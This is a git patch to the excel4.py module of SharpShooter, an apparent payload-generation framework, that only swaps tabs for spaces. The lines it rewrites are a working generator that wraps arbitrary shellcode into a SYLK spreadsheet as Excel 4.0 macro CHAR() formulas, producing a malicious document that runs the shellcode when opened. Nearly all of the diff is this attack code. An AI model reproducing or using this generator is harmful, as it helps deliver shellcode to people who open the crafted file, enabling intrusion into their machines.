From 8f93b8c0109fc254bff10a0fabce3675d0278845 Mon Sep 17 00:00:00 2001 From: Simon Bridgens Date: Sat, 25 Sep 2021 20:29:56 +0100 Subject: [PATCH] Update excel4.py Change Tabs to Spaces due to inconsistent tab and space errors when running Sharpshooter. --- modules/excel4.py | 47 +++++++++++++++++++++++------------------------ 1 file changed, 23 insertions(+), 24 deletions(-) diff --git a/modules/excel4.py b/modules/excel4.py index 7982917..258f60f 100644 --- a/modules/excel4.py +++ b/modules/excel4.py @@ -6,7 +6,7 @@ # http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen def bytes2int(str): - return int(str.encode('hex'), 16) + return int(str.encode('hex'), 16) SHELLCODE_HEADER = """ID;P O;E @@ -25,28 +25,27 @@ def bytes2int(str): """ def generate_slk(shellcode_path): - return build_shellcode_slk(shellcode_path) + return build_shellcode_slk(shellcode_path) def build_shellcode_slk(shellcode_path): - #print("[*] Building shellcode exec SLK") - - slk_output = SHELLCODE_HEADER - with open(shellcode_path, "rb") as f: - byte = f.read(1) - i = 0 - cell=0 - while byte != "": - if i == 0: - cell=cell+1 - slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) - else: - slk_output+=("&") - slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") - byte = f.read(1) - i+=1 - if i == 20: - slk_output+=("\n") - i = 0 - cell=cell+1 - slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell))) - return slk_output \ No newline at end of file + #print("[*] Building shellcode exec SLK") + slk_output = SHELLCODE_HEADER + with open(shellcode_path, "rb") as f: + byte = f.read(1) + i = 0 + cell=0 + while byte != "": + if i == 0: + cell=cell+1 + slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) + else: + slk_output+=("&") + slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") + byte = f.read(1) + i+=1 + if i == 20: + slk_output+=("\n") + i = 0 + cell=cell+1 + slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell))) + return slk_output